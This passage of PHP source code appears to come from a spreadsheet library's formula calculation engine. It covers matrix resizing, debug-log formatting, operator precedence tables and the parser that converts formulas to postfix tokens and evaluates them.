operand * @param int $matrix1Columns Column size of first matrix operand * @param int $matrix2Rows Row size of second matrix operand * @param int $matrix2Columns Column size of second matrix operand */ private static function resizeMatricesShrink(array &$matrix1, array &$matrix2, int $matrix1Rows, int $matrix1Columns, int $matrix2Rows, int $matrix2Columns): void { if (($matrix2Columns < $matrix1Columns) || ($matrix2Rows < $matrix1Rows)) { if ($matrix2Rows < $matrix1Rows) { for ($i = $matrix2Rows; $i < $matrix1Rows; ++$i) { unset($matrix1[$i]); } } if ($matrix2Columns < $matrix1Columns) { for ($i = 0; $i < $matrix1Rows; ++$i) { for ($j = $matrix2Columns; $j < $matrix1Columns; ++$j) { unset($matrix1[$i][$j]); } } } } if (($matrix1Columns < $matrix2Columns) || ($matrix1Rows < $matrix2Rows)) { if ($matrix1Rows < $matrix2Rows) { for ($i = $matrix1Rows; $i < $matrix2Rows; ++$i) { unset($matrix2[$i]); } } if ($matrix1Columns < $matrix2Columns) { for ($i = 0; $i < $matrix2Rows; ++$i) { for ($j = $matrix1Columns; $j < $matrix2Columns; ++$j) { unset($matrix2[$i][$j]); } } } } } /** * Ensure that paired matrix operands are both matrices of the same size. * * @param array $matrix1 First matrix operand * @param array $matrix2 Second matrix operand * @param int $matrix1Rows Row size of first matrix operand * @param int $matrix1Columns Column size of first matrix operand * @param int $matrix2Rows Row size of second matrix operand * @param int $matrix2Columns Column size of second matrix operand */ private static function resizeMatricesExtend(array &$matrix1, array &$matrix2, int $matrix1Rows, int $matrix1Columns, int $matrix2Rows, int $matrix2Columns): void { if (($matrix2Columns < $matrix1Columns) || ($matrix2Rows < $matrix1Rows)) { if ($matrix2Columns < $matrix1Columns) { for ($i = 0; $i < $matrix2Rows; ++$i) { $x = $matrix2[$i][$matrix2Columns - 1]; for ($j = $matrix2Columns; $j < $matrix1Columns; ++$j) { $matrix2[$i][$j] = $x; } } } if ($matrix2Rows < $matrix1Rows) { $x = $matrix2[$matrix2Rows - 1]; for ($i = 0; $i < $matrix1Rows; ++$i) { $matrix2[$i] = $x; } } } if (($matrix1Columns < $matrix2Columns) || ($matrix1Rows < $matrix2Rows)) { if ($matrix1Columns < $matrix2Columns) { for ($i = 0; $i < $matrix1Rows; ++$i) { $x = $matrix1[$i][$matrix1Columns - 1]; for ($j = $matrix1Columns; $j < $matrix2Columns; ++$j) { $matrix1[$i][$j] = $x; } } } if ($matrix1Rows < $matrix2Rows) { $x = $matrix1[$matrix1Rows - 1]; for ($i = 0; $i < $matrix2Rows; ++$i) { $matrix1[$i] = $x; } } } } /** * Format details of an operand for display in the log (based on operand type). * * @param mixed $value First matrix operand */ private function showValue(mixed $value): mixed { if ($this->debugLog->getWriteDebugLog()) { $testArray = Functions::flattenArray($value); if (count($testArray) == 1) { $value = array_pop($testArray); } if (is_array($value)) { $returnMatrix = []; $pad = $rpad = ', '; foreach ($value as $row) { if (is_array($row)) { $returnMatrix[] = implode($pad, array_map([$this, 'showValue'], $row)); $rpad = '; '; } else { $returnMatrix[] = $this->showValue($row); } } return '{ ' . implode($rpad, $returnMatrix) . ' }'; } elseif (is_string($value) && (trim($value, self::FORMULA_STRING_QUOTE) == $value)) { return self::FORMULA_STRING_QUOTE . $value . self::FORMULA_STRING_QUOTE; } elseif (is_bool($value)) { return ($value) ? self::$localeBoolean['TRUE'] : self::$localeBoolean['FALSE']; } elseif ($value === null) { return self::$localeBoolean['NULL']; } } return Functions::flattenSingleValue($value); } /** * Format type and details of an operand for display in the log (based on operand type). * * @param mixed $value First matrix operand */ private function showTypeDetails(mixed $value): ?string { if ($this->debugLog->getWriteDebugLog()) { $testArray = Functions::flattenArray($value); if (count($testArray) == 1) { $value = array_pop($testArray); } if ($value === null) { return 'a NULL value'; } elseif (is_float($value)) { $typeString = 'a floating point number'; } elseif (is_int($value)) { $typeString = 'an integer number'; } elseif (is_bool($value)) { $typeString = 'a boolean'; } elseif (is_array($value)) { $typeString = 'a matrix'; } else { if ($value == '') { return 'an empty string'; } elseif ($value[0] == '#') { return 'a ' . $value . ' error'; } $typeString = 'a string'; } return $typeString . ' with a value of ' . $this->showValue($value); } return null; } /** * @return false|string False indicates an error */ private function convertMatrixReferences(string $formula): false|string { static $matrixReplaceFrom = [self::FORMULA_OPEN_MATRIX_BRACE, ';', self::FORMULA_CLOSE_MATRIX_BRACE]; static $matrixReplaceTo = ['MKMATRIX(MKMATRIX(', '),MKMATRIX(', '))']; // Convert any Excel matrix references to the MKMATRIX() function if (str_contains($formula, self::FORMULA_OPEN_MATRIX_BRACE)) { // If there is the possibility of braces within a quoted string, then we don't treat those as matrix indicators if (str_contains($formula, self::FORMULA_STRING_QUOTE)) { // So instead we skip replacing in any quoted strings by only replacing in every other array element after we've exploded // the formula $temp = explode(self::FORMULA_STRING_QUOTE, $formula); // Open and Closed counts used for trapping mismatched braces in the formula $openCount = $closeCount = 0; $notWithinQuotes = false; foreach ($temp as &$value) { // Only count/replace in alternating array entries $notWithinQuotes = $notWithinQuotes === false; if ($notWithinQuotes === true) { $openCount += substr_count($value, self::FORMULA_OPEN_MATRIX_BRACE); $closeCount += substr_count($value, self::FORMULA_CLOSE_MATRIX_BRACE); $value = str_replace($matrixReplaceFrom, $matrixReplaceTo, $value); } } unset($value); // Then rebuild the formula string $formula = implode(self::FORMULA_STRING_QUOTE, $temp); } else { // If there's no quoted strings, then we do a simple count/replace $openCount = substr_count($formula, self::FORMULA_OPEN_MATRIX_BRACE); $closeCount = substr_count($formula, self::FORMULA_CLOSE_MATRIX_BRACE); $formula = str_replace($matrixReplaceFrom, $matrixReplaceTo, $formula); } // Trap for mismatched braces and trigger an appropriate error if ($openCount < $closeCount) { if ($openCount > 0) { return $this->raiseFormulaError("Formula Error: Mismatched matrix braces '}'"); } return $this->raiseFormulaError("Formula Error: Unexpected '}' encountered"); } elseif ($openCount > $closeCount) { if ($closeCount > 0) { return $this->raiseFormulaError("Formula Error: Mismatched matrix braces '{'"); } return $this->raiseFormulaError("Formula Error: Unexpected '{' encountered"); } } return $formula; } /** * Binary Operators. * These operators always work on two values. * Array key is the operator, the value indicates whether this is a left or right associative operator. */ private static array $operatorAssociativity = [ '^' => 0, // Exponentiation '*' => 0, '/' => 0, // Multiplication and Division '+' => 0, '-' => 0, // Addition and Subtraction '&' => 0, // Concatenation '∪' => 0, '∩' => 0, ':' => 0, // Union, Intersect and Range '>' => 0, '<' => 0, '=' => 0, '>=' => 0, '<=' => 0, '<>' => 0, // Comparison ]; /** * Comparison (Boolean) Operators. * These operators work on two values, but always return a boolean result. */ private static array $comparisonOperators = ['>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true]; /** * Operator Precedence. * This list includes all valid operators, whether binary (including boolean) or unary (such as %). * Array key is the operator, the value is its precedence. */ private static array $operatorPrecedence = [ ':' => 9, // Range '∩' => 8, // Intersect '∪' => 7, // Union '~' => 6, // Negation '%' => 5, // Percentage '^' => 4, // Exponentiation '*' => 3, '/' => 3, // Multiplication and Division '+' => 2, '-' => 2, // Addition and Subtraction '&' => 1, // Concatenation '>' => 0, '<' => 0, '=' => 0, '>=' => 0, '<=' => 0, '<>' => 0, // Comparison ]; // Convert infix to postfix notation /** * @return array<int, mixed>|false */ private function internalParseFormula(string $formula, ?Cell $cell = null): bool|array { if (($formula = $this->convertMatrixReferences(trim($formula))) === false) { return false; } // If we're using cell caching, then $pCell may well be flushed back to the cache (which detaches the parent worksheet), // so we store the parent worksheet so that we can re-attach it when necessary $pCellParent = ($cell !== null) ? $cell->getWorksheet() : null; $regexpMatchString = '/^((?<string>' . self::CALCULATION_REGEXP_STRING . ')|(?<function>' . self::CALCULATION_REGEXP_FUNCTION . ')|(?<cellRef>' . self::CALCULATION_REGEXP_CELLREF . ')|(?<colRange>' . self::CALCULATION_REGEXP_COLUMN_RANGE . ')|(?<rowRange>' . self::CALCULATION_REGEXP_ROW_RANGE . ')|(?<number>' . self::CALCULATION_REGEXP_NUMBER . ')|(?<openBrace>' . self::CALCULATION_REGEXP_OPENBRACE . ')|(?<structuredReference>' . self::CALCULATION_REGEXP_STRUCTURED_REFERENCE . ')|(?<definedName>' . self::CALCULATION_REGEXP_DEFINEDNAME . ')|(?<error>' . self::CALCULATION_REGEXP_ERROR . '))/sui'; // Start with initialisation $index = 0; $stack = new Stack($this->branchPruner); $output = []; $expectingOperator = false; // We use this test in syntax-checking the expression to determine when a // - is a negation or + is a positive operator rather than an operation $expectingOperand = false; // We use this test in syntax-checking the expression to determine whether an operand // should be null in a function call // The guts of the lexical parser // Loop through the formula extracting each operator and operand in turn while (true) { // Branch pruning: we adapt the output item to the context (it will // be used to limit its computation) $this->branchPruner->initialiseForLoop(); $opCharacter = $formula[$index]; // Get the first character of the value at the current index position // Check for two-character operators (e.g. >=, <=, <>) if ((isset(self::$comparisonOperators[$opCharacter])) && (strlen($formula) > $index) && (isset(self::$comparisonOperators[$formula[$index + 1]]))) { $opCharacter .= $formula[++$index]; } // Find out if we're currently at the beginning of a number, variable, cell/row/column reference, // function, defined name, structured reference, parenthesis, error or operand $isOperandOrFunction = (bool) preg_match($regexpMatchString, substr($formula, $index), $match); $expectingOperatorCopy = $expectingOperator; if ($opCharacter === '-' && !$expectingOperator) { // Is it a negation instead of a minus? // Put a negation on the stack $stack->push('Unary Operator', '~'); ++$index; // and drop the negation symbol } elseif ($opCharacter === '%' && $expectingOperator) { // Put a percentage on the stack $stack->push('Unary Operator', '%'); ++$index; } elseif ($opCharacter === '+' && !$expectingOperator) { // Positive (unary plus rather than binary operator plus) can be discarded? ++$index; // Drop the redundant plus symbol } elseif ((($opCharacter === '~') || ($opCharacter === '∩') || ($opCharacter === '∪')) && (!$isOperandOrFunction)) { // We have to explicitly deny a tilde, union or intersect because they are legal return $this->raiseFormulaError("Formula Error: Illegal character '~'"); // on the stack but not in the input expression } elseif ((isset(self::CALCULATION_OPERATORS[$opCharacter]) || $isOperandOrFunction) && $expectingOperator) { // Are we putting an operator on the stack? while ( $stack->count() > 0 && ($o2 = $stack->last()) && isset(self::CALCULATION_OPERATORS[$o2['value']]) && @(self::$operatorAssociativity[$opCharacter] ? self::$operatorPrecedence[$opCharacter] < self::$operatorPrecedence[$o2['value']] : self::$operatorPrecedence[$opCharacter] <= self::$operatorPrecedence[$o2['value']]) ) { $output[] = $stack->pop(); // Swap operands and higher precedence operators from the stack to the output } // Finally put our current operator onto the stack $stack->push('Binary Operator', $opCharacter); ++$index; $expectingOperator = false; } elseif ($opCharacter === ')' && $expectingOperator) { // Are we expecting to close a parenthesis? $expectingOperand = false; while (($o2 = $stack->pop()) && $o2['value'] !== '(') { // Pop off the stack back to the last ( $output[] = $o2; } $d = $stack->last(2); // Branch pruning we decrease the depth whether is it a function // call or a parenthesis $this->branchPruner->decrementDepth(); if (is_array($d) && preg_match('/^' . self::CALCULATION_REGEXP_FUNCTION . '$/miu', $d['value'], $matches)) { // Did this parenthesis just close a function? try { $this->branchPruner->closingBrace($d['value']); } catch (Exception $e) { return $this->raiseFormulaError($e->getMessage(), $e->getCode(), $e); } $functionName = $matches[1]; // Get the function name $d = $stack->pop(); $argumentCount = $d['value'] ?? 0; // See how many arguments there were (argument count is the next value stored on the stack) $output[] = $d; // Dump the argument count on the output $output[] = $stack->pop(); // Pop the function and push onto the output if (isset(self::$controlFunctions[$functionName])) { $expectedArgumentCount = self::$controlFunctions[$functionName]['argumentCount']; } elseif (isset(self::$phpSpreadsheetFunctions[$functionName])) { $expectedArgumentCount = self::$phpSpreadsheetFunctions[$functionName]['argumentCount']; } else { // did we somehow push a non-function on the stack? this should never happen return $this->raiseFormulaError('Formula Error: Internal error, non-function on stack'); } // Check the argument count $argumentCountError = false; $expectedArgumentCountString = null; if (is_numeric($expectedArgumentCount)) { if ($expectedArgumentCount < 0) { if ($argumentCount > abs($expectedArgumentCount)) { $argumentCountError = true; $expectedArgumentCountString = 'no more than ' . abs($expectedArgumentCount); } } else { if ($argumentCount != $expectedArgumentCount) { $argumentCountError = true; $expectedArgumentCountString = $expectedArgumentCount; } } } elseif ($expectedArgumentCount != '*') { preg_match('/(\d*)([-+,])(\d*)/', $expectedArgumentCount, $argMatch); switch ($argMatch[2] ?? '') { case '+': if ($argumentCount < $argMatch[1]) { $argumentCountError = true; $expectedArgumentCountString = $argMatch[1] . ' or more '; } break; case '-': if (($argumentCount < $argMatch[1]) || ($argumentCount > $argMatch[3])) { $argumentCountError = true; $expectedArgumentCountString = 'between ' . $argMatch[1] . ' and ' . $argMatch[3]; } break; case ',': if (($argumentCount != $argMatch[1]) && ($argumentCount != $argMatch[3])) { $argumentCountError = true; $expectedArgumentCountString = 'either ' . $argMatch[1] . ' or ' . $argMatch[3]; } break; } } if ($argumentCountError) { return $this->raiseFormulaError("Formula Error: Wrong number of arguments for $functionName() function: $argumentCount given, " . $expectedArgumentCountString . ' expected'); } } ++$index; } elseif ($opCharacter === ',') { // Is this the separator for function arguments? try { $this->branchPruner->argumentSeparator(); } catch (Exception $e) { return $this->raiseFormulaError($e->getMessage(), $e->getCode(), $e); } while (($o2 = $stack->pop()) && $o2['value'] !== '(') { // Pop off the stack back to the last ( $output[] = $o2; // pop the argument expression stuff and push onto the output } // If we've a comma when we're expecting an operand, then what we actually have is a null operand; // so push a null onto the stack if (($expectingOperand) || (!$expectingOperator)) { $output[] = $stack->getStackItem('Empty Argument', null, 'NULL'); } // make sure there was a function $d = $stack->last(2); if (!preg_match('/^' . self::CALCULATION_REGEXP_FUNCTION . '$/miu', $d['value'] ?? '', $matches)) { // Can we inject a dummy function at this point so that the braces at least have some context // because at least the braces are paired up (at this stage in the formula) // MS Excel allows this if the content is cell references; but doesn't allow actual values, // but at this point, we can't differentiate (so allow both) return $this->raiseFormulaError('Formula Error: Unexpected ,'); } /** @var array $d */ $d = $stack->pop(); ++$d['value']; // increment the argument count $stack->pushStackItem($d); $stack->push('Brace', '('); // put the ( back on, we'll need to pop back to it again $expectingOperator = false; $expectingOperand = true; ++$index; } elseif ($opCharacter === '(' && !$expectingOperator) { // Branch pruning: we go deeper $this->branchPruner->incrementDepth(); $stack->push('Brace', '(', null); ++$index; } elseif ($isOperandOrFunction && !$expectingOperatorCopy) { // do we now have a function/variable/number? $expectingOperator = true; $expectingOperand = false; $val = $match[1]; $length = strlen($val); if (preg_match('/^' . self::CALCULATION_REGEXP_FUNCTION . '$/miu', $val, $matches)) { $val = (string) preg_replace('/\s/u', '', $val); if (isset(self::$phpSpreadsheetFunctions[strtoupper($matches[1])]) || isset(self::$controlFunctions[strtoupper($matches[1])])) { // it's a function $valToUpper = strtoupper($val); } else { $valToUpper = 'NAME.ERROR('; } // here $matches[1] will contain values like "IF" // and $val "IF(" $this->branchPruner->functionCall($valToUpper); $stack->push('Function', $valToUpper); // tests if the function is closed right after opening $ax = preg_match('/^\s*\)/u', substr($formula, $index + $length)); if ($ax) { $stack->push('Operand Count for Function ' . $valToUpper . ')', 0); $expectingOperator = true; } else { $stack->push('Operand Count for Function ' . $valToUpper . ')', 1); $expectingOperator = false; } $stack->push('Brace', '('); } elseif (preg_match('/^' . self::CALCULATION_REGEXP_CELLREF . '$/miu', $val, $matches)) { // Watch for this case-change when modifying to allow cell references in different worksheets... // Should only be applied to the actual cell column, not the worksheet name // If the last entry on the stack was a : operator, then we have a cell range reference $testPrevOp = $stack->last(1); if ($testPrevOp !== null && $testPrevOp['value'] === ':') { // If we have a worksheet reference, then we're playing with a 3D reference if ($matches[2] === '') { // Otherwise, we 'inherit' the worksheet reference from the start cell reference // The start of the cell range reference should be the last entry in $output $rangeStartCellRef = $output[count($output) - 1]['value'] ?? ''; if ($rangeStartCellRef === ':') { // Do we have chained range operators? $rangeStartCellRef = $output[count($output) - 2]['value'] ?? ''; } preg_match('/^' . self::CALCULATION_REGEXP_CELLREF . '$/miu', $rangeStartCellRef, $rangeStartMatches); if (array_key_exists(2, $rangeStartMatches)) { if ($rangeStartMatches[2] > '') { $val = $rangeStartMatches[2] . '!' . $val; } } else { $val = ExcelError::REF(); } } else { $rangeStartCellRef = $output[count($output) - 1]['value'] ?? ''; if ($rangeStartCellRef === ':') { // Do we have chained range operators? $rangeStartCellRef = $output[count($output) - 2]['value'] ?? ''; } preg_match('/^' . self::CALCULATION_REGEXP_CELLREF . '$/miu', $rangeStartCellRef, $rangeStartMatches); if ($rangeStartMatches[2] !== $matches[2]) { return $this->raiseFormulaError('3D Range references are not yet supported'); } } } elseif (!str_contains($val, '!') && $pCellParent !== null) { $worksheet = $pCellParent->getTitle(); $val = "'{$worksheet}'!{$val}"; } // unescape any apostrophes or double quotes in worksheet name $val = str_replace(["''", '""'], ["'", '"'], $val); $outputItem = $stack->getStackItem('Cell Reference', $val, $val); $output[] = $outputItem; } elseif (preg_match('/^' . self::CALCULATION_REGEXP_STRUCTURED_REFERENCE . '$/miu', $val, $matches)) { try { $structuredReference = Operands\StructuredReference::fromParser($formula, $index, $matches); } catch (Exception $e) { return $this->raiseFormulaError($e->getMessage(), $e->getCode(), $e); } $val = $structuredReference->value(); $length = strlen($val); $outputItem = $stack->getStackItem(Operands\StructuredReference::NAME, $structuredReference, null); $output[] = $outputItem; $expectingOperator = true; } else { // it's a variable, constant, string, number or boolean $localeConstant = false; $stackItemType = 'Value'; $stackItemReference = null; // If the last entry on the stack was a : operator, then we may have a row or column range reference $testPrevOp = $stack->last(1); if ($testPrevOp !== null && $testPrevOp['value'] === ':') { $stackItemType = 'Cell Reference'; if ( !is_numeric($val) && ((ctype_alpha($val) === false || strlen($val) > 3)) && (preg_match('/^' . self::CALCULATION_REGEXP_DEFINEDNAME . '$/mui', $val) !== false) && ($this->spreadsheet === null || $this->spreadsheet->getNamedRange($val) !== null) ) { $namedRange = ($this->spreadsheet === null) ? null : $this->spreadsheet->getNamedRange($val); if ($namedRange !== null) { $stackItemType = 'Defined Name'; $address = str_replace('$', '', $namedRange->getValue()); $stackItemReference = $val; if (str_contains($address, ':')) { // We'll need to manipulate the stack for an actual named range rather than a named cell $fromTo = explode(':', $address); $to = array_pop($fromTo); foreach ($fromTo as $from) { $output[] = $stack->getStackItem($stackItemType, $from, $stackItemReference); $output[] = $stack->getStackItem('Binary Operator', ':'); } $address = $to; } $val = $address; } } elseif ($val === ExcelError::REF()) { $stackItemReference = $val; } else { /** @var non-empty-string $startRowColRef */ $startRowColRef = $output[count($output) - 1]['value'] ?? ''; [$rangeWS1, $startRowColRef] = Worksheet::extractSheetTitle($startRowColRef, true); $rangeSheetRef = $rangeWS1; if ($rangeWS1 !== '') { $rangeWS1 .= '!'; } $rangeSheetRef = trim($rangeSheetRef, "'"); [$rangeWS2, $val] = Worksheet::extractSheetTitle($val, true); if ($rangeWS2 !== '') { $rangeWS2 .= '!'; } else { $rangeWS2 = $rangeWS1; } $refSheet = $pCellParent; if ($pCellParent !== null && $rangeSheetRef !== '' && $rangeSheetRef !== $pCellParent->getTitle()) { $refSheet = $pCellParent->getParentOrThrow()->getSheetByName($rangeSheetRef); } if (ctype_digit($val) && $val <= 1048576) { // Row range $stackItemType = 'Row Reference'; /** @var int $valx */ $valx = $val; $endRowColRef = ($refSheet !== null) ? $refSheet->getHighestDataColumn($valx) : AddressRange::MAX_COLUMN; // Max 16,384 columns for Excel2007 $val = "{$rangeWS2}{$endRowColRef}{$val}"; } elseif (ctype_alpha($val) && strlen($val ?? '') <= 3) { // Column range $stackItemType = 'Column Reference'; $endRowColRef = ($refSheet !== null) ? $refSheet->getHighestDataRow($val) : AddressRange::MAX_ROW; // Max 1,048,576 rows for Excel2007 $val = "{$rangeWS2}{$val}{$endRowColRef}"; } $stackItemReference = $val; } } elseif ($opCharacter === self::FORMULA_STRING_QUOTE) { // UnEscape any quotes within the string $val = self::wrapResult(str_replace('""', self::FORMULA_STRING_QUOTE, self::unwrapResult($val))); } elseif (isset(self::$excelConstants[trim(strtoupper($val))])) { $stackItemType = 'Constant'; $excelConstant = trim(strtoupper($val)); $val = self::$excelConstants[$excelConstant]; $stackItemReference = $excelConstant; } elseif (($localeConstant = array_search(trim(strtoupper($val)), self::$localeBoolean)) !== false) { $stackItemType = 'Constant'; $val = self::$excelConstants[$localeConstant]; $stackItemReference = $localeConstant; } elseif ( preg_match('/^' . self::CALCULATION_REGEXP_ROW_RANGE . '/miu', substr($formula, $index), $rowRangeReference) ) { $val = $rowRangeReference[1]; $length = strlen($rowRangeReference[1]); $stackItemType = 'Row Reference'; // unescape any apostrophes or double quotes in worksheet name $val = str_replace(["''", '""'], ["'", '"'], $val); $column = 'A'; if (($testPrevOp !== null && $testPrevOp['value'] === ':') && $pCellParent !== null) { $column = $pCellParent->getHighestDataColumn($val); } $val = "{$rowRangeReference[2]}{$column}{$rowRangeReference[7]}"; $stackItemReference = $val; } elseif ( preg_match('/^' . self::CALCULATION_REGEXP_COLUMN_RANGE . '/miu', substr($formula, $index), $columnRangeReference) ) { $val = $columnRangeReference[1]; $length = strlen($val); $stackItemType = 'Column Reference'; // unescape any apostrophes or double quotes in worksheet name $val = str_replace(["''", '""'], ["'", '"'], $val); $row = '1'; if (($testPrevOp !== null && $testPrevOp['value'] === ':') && $pCellParent !== null) { $row = $pCellParent->getHighestDataRow($val); } $val = "{$val}{$row}"; $stackItemReference = $val; } elseif (preg_match('/^' . self::CALCULATION_REGEXP_DEFINEDNAME . '.*/miu', $val, $match)) { $stackItemType = 'Defined Name'; $stackItemReference = $val; } elseif (is_numeric($val)) { if ((str_contains((string) $val, '.')) || (stripos((string) $val, 'e') !== false) || ($val > PHP_INT_MAX) || ($val < -PHP_INT_MAX)) { $val = (float) $val; } else { $val = (int) $val; } } $details = $stack->getStackItem($stackItemType, $val, $stackItemReference); if ($localeConstant) { $details['localeValue'] = $localeConstant; } $output[] = $details; } $index += $length; } elseif ($opCharacter === '$') { // absolute row or column range ++$index; } elseif ($opCharacter === ')') { // miscellaneous error checking if ($expectingOperand) { $output[] = $stack->getStackItem('Empty Argument', null, 'NULL'); $expectingOperand = false; $expectingOperator = true; } else { return $this->raiseFormulaError("Formula Error: Unexpected ')'"); } } elseif (isset(self::CALCULATION_OPERATORS[$opCharacter]) && !$expectingOperator) { return $this->raiseFormulaError("Formula Error: Unexpected operator '$opCharacter'"); } else { // I don't even want to know what you did to get here return $this->raiseFormulaError('Formula Error: An unexpected error occurred'); } // Test for end of formula string if ($index == strlen($formula)) { // Did we end with an operator?. // Only valid for the % unary operator if ((isset(self::CALCULATION_OPERATORS[$opCharacter])) && ($opCharacter != '%')) { return $this->raiseFormulaError("Formula Error: Operator '$opCharacter' has no operands"); } break; } // Ignore white space while (($formula[$index] === "\n") || ($formula[$index] === "\r")) { ++$index; } if ($formula[$index] === ' ') { while ($formula[$index] === ' ') { ++$index; } // If we're expecting an operator, but only have a space between the previous and next operands (and both are // Cell References, Defined Names or Structured References) then we have an INTERSECTION operator $countOutputMinus1 = count($output) - 1; if ( ($expectingOperator) && array_key_exists($countOutputMinus1, $output) && is_array($output[$countOutputMinus1]) && array_key_exists('type', $output[$countOutputMinus1]) && ( (preg_match('/^' . self::CALCULATION_REGEXP_CELLREF . '.*/miu', substr($formula, $index), $match)) && ($output[$countOutputMinus1]['type'] === 'Cell Reference') || (preg_match('/^' . self::CALCULATION_REGEXP_DEFINEDNAME . '.*/miu', substr($formula, $index), $match)) && ($output[$countOutputMinus1]['type'] === 'Defined Name' || $output[$countOutputMinus1]['type'] === 'Value') || (preg_match('/^' . self::CALCULATION_REGEXP_STRUCTURED_REFERENCE . '.*/miu', substr($formula, $index), $match)) && ($output[$countOutputMinus1]['type'] === Operands\StructuredReference::NAME || $output[$countOutputMinus1]['type'] === 'Value') ) ) { while ( $stack->count() > 0 && ($o2 = $stack->last()) && isset(self::CALCULATION_OPERATORS[$o2['value']]) && @(self::$operatorAssociativity[$opCharacter] ? self::$operatorPrecedence[$opCharacter] < self::$operatorPrecedence[$o2['value']] : self::$operatorPrecedence[$opCharacter] <= self::$operatorPrecedence[$o2['value']]) ) { $output[] = $stack->pop(); // Swap operands and higher precedence operators from the stack to the output } $stack->push('Binary Operator', '∩'); // Put an Intersect Operator on the stack $expectingOperator = false; } } } while (($op = $stack->pop()) !== null) { // pop everything off the stack and push onto output if ((is_array($op) && $op['value'] == '(')) { return $this->raiseFormulaError("Formula Error: Expecting ')'"); // if there are any opening braces on the stack, then braces were unbalanced } $output[] = $op; } return $output; } private static function dataTestReference(array &$operandData): mixed { $operand = $operandData['value']; if (($operandData['reference'] === null) && (is_array($operand))) { $rKeys = array_keys($operand); $rowKey = array_shift($rKeys); if (is_array($operand[$rowKey]) === false) { $operandData['value'] = $operand[$rowKey]; return $operand[$rowKey]; } $cKeys = array_keys(array_keys($operand[$rowKey])); $colKey = array_shift($cKeys); if (ctype_upper("$colKey")) { $operandData['reference'] = $colKey . $rowKey; } } return $operand; } /** * @return array<int, mixed>|false */ private function processTokenStack(mixed $tokens, ?string $cellID = null, ?Cell $cell = null) { if ($tokens === false) { return false; } // If we're using cell caching, then $pCell may well be flushed back to the cache (which detaches the parent cell collection), // so we store the parent cell collection so that we can re-attach it when necessary $pCellWorksheet = ($cell !== null) ? $cell->getWorksheet() : null; $pCellParent = ($cell !== null) ? $cell->getParent() : null; $stack = new Stack($this->branchPruner); // Stores branches that have been pruned $fakedForBranchPruning = []; // help us to know when pruning ['branchTestId' => true/false] $branchStore = []; // Loop through each token in turn foreach ($tokens as $tokenData) { $token = $tokenData['value']; // Branch pruning: skip useless resolutions $storeKey = $tokenData['storeKey'] ?? null; if ($this->branchPruningEnabled && isset($tokenData['onlyIf'])) { $onlyIfStoreKey = $tokenData['onlyIf']; $storeValue = $branchStore[$onlyIfStoreKey] ?? null; $storeValueAsBool = ($storeValue === null) ? true : (bool) Functions::flattenSingleValue($storeValue); if (is_array($storeValue)) { $wrappedItem = end($storeValue); $storeValue = is_array($wrappedItem) ? end($wrappedItem) : $wrappedItem; } if ( (isset($storeValue) || $tokenData['reference'] === 'NULL') && (!$storeValueAsBool || Information\ErrorValue::isError($storeValue) || ($storeValue === 'Pruned branch')) ) { // If branching value is not true, we don't need to compute if (!isset($fakedForBranchPruning['onlyIf-' . $onlyIfStoreKey])) { $stack->push('Value', 'Pruned branch (only if ' . $onlyIfStoreKey . ') ' . $token); $fakedForBranchPruning['onlyIf-' . $onlyIfStoreKey] = true; } if (isset($storeKey)) { // We are processing an if condition // We cascade the pruning to the depending branches $branchStore[$storeKey] = 'Pruned branch'; $fakedForBranchPruning['onlyIfNot-' . $storeKey] = true; $fakedForBranchPruning['onlyIf-' . $storeKey] = true; } continue; } } if ($this->branchPruningEnabled && isset($tokenData['onlyIfNot'])) { $onlyIfNotStoreKey = $tokenData['onlyIfNot']; $storeValue = $branchStore[$onlyIfNotStoreKey] ?? null; $storeValueAsBool = ($storeValue === null) ? true : (bool) Functions::flattenSingleValue($storeValue); if (is_array($storeValue)) { $wrappedItem = end($storeValue); $storeValue = is_array($wrappedItem) ? end($wrappedItem) : $wrappedItem; } if ( (isset($storeValue) || $tokenData['reference'] === 'NULL') && ($storeValueAsBool || Information\ErrorValue::isError($storeValue) || ($storeValue === 'Pruned branch')) ) { // If branching value is true, we don't need to compute if (!isset($fakedForBranchPruning['onlyIfNot-' . $onlyIfNotStoreKey])) { $stack->push('Value', 'Pruned branch (only if not ' . $onlyIfNotStoreKey . ') ' . $token); $fakedForBranchPruning['onlyIfNot-' . $onlyIfNotStoreKey] = true; } if (isset($storeKey)) { // We are processing an if condition // We cascade the pruning to the depending branches $branchStore[$storeKey] = 'Pruned branch'; $fakedForBranchPruning['onlyIfNot-' . $storeKey] = true; $fakedForBranchPruning['onlyIf-' . $storeKey] = true; } continue; } } if ($token instanceof Operands\StructuredReference) { if ($cell === null) { return $this->raiseFormulaError('Structured References must exist in a Cell context'); } try { $cellRange = $token->parse($cell); if (str_contains($cellRange, ':')) { $this->debugLog->writeDebugLog('Evaluating Structured Reference %s as Cell Range %s', $token->value(), $cellRange); $rangeValue = self::getInstance($cell->getWorksheet()->getParent())->_calculateFormulaValue("={$cellRange}", $cellRange, $cell); $stack->push('Value', $rangeValue); $this->debugLog->writeDebugLog('Evaluated Structured Reference %s as value %s', $token->value(), $this->showValue($rangeValue)); } else { $this->debugLog->writeDebugLog('Evaluating Structured Reference %s as Cell %s', $token->value(), $cellRange); $cellValue = $cell->getWorksheet()->getCell($cellRange)->getCalculatedValue(false); $stack->push('Cell Reference', $cellValue, $cellRange); $this->debugLog->writeDebugLog('Evaluated Structured Reference %s as value %s', $token->value(), $this->showValue($cellValue)); } } catch (Exception $e) { if ($e->getCode() === Exception::CALCULATION_ENGINE_PUSH_TO_STACK) { $stack->push('Error', ExcelError::REF(), null); $this->debugLog->writeDebugLog('Evaluated Structured Reference %s as error value %s', $token->value(), ExcelError::REF()); } else { return $this->raiseFormulaError($e->getMessage(), $e->getCode(), $e); } } } elseif (!is_numeric($token) && !is_object($token) && isset(self::BINARY_OPERATORS[$token])) { // if the token is a binary operator, pop the top two values off the stack, do the operation, and push the result back on the stack // We must have two operands, error if we don't $operand2Data = $stack->pop(); if ($operand2Data === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } $operand1Data = $stack->pop(); if ($operand1Data === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } $operand1 = self::dataTestReference($operand1Data); $operand2 = self::dataTestReference($operand2Data); // Log what we're doing if ($token == ':') { $this->debugLog->writeDebugLog('Evaluating Range %s %s %s', $this->showValue($operand1Data['reference']), $token, $this->showValue($operand2Data['reference'])); } else { $this->debugLog->writeDebugLog('Evaluating %s %s %s', $this->showValue($operand1), $token, $this->showValue($operand2)); } // Process the operation in the appropriate manner switch ($token) { // Comparison (Boolean) Operators case '>': // Greater than case '<': // Less than case '>=': // Greater than or Equal to case '<=': 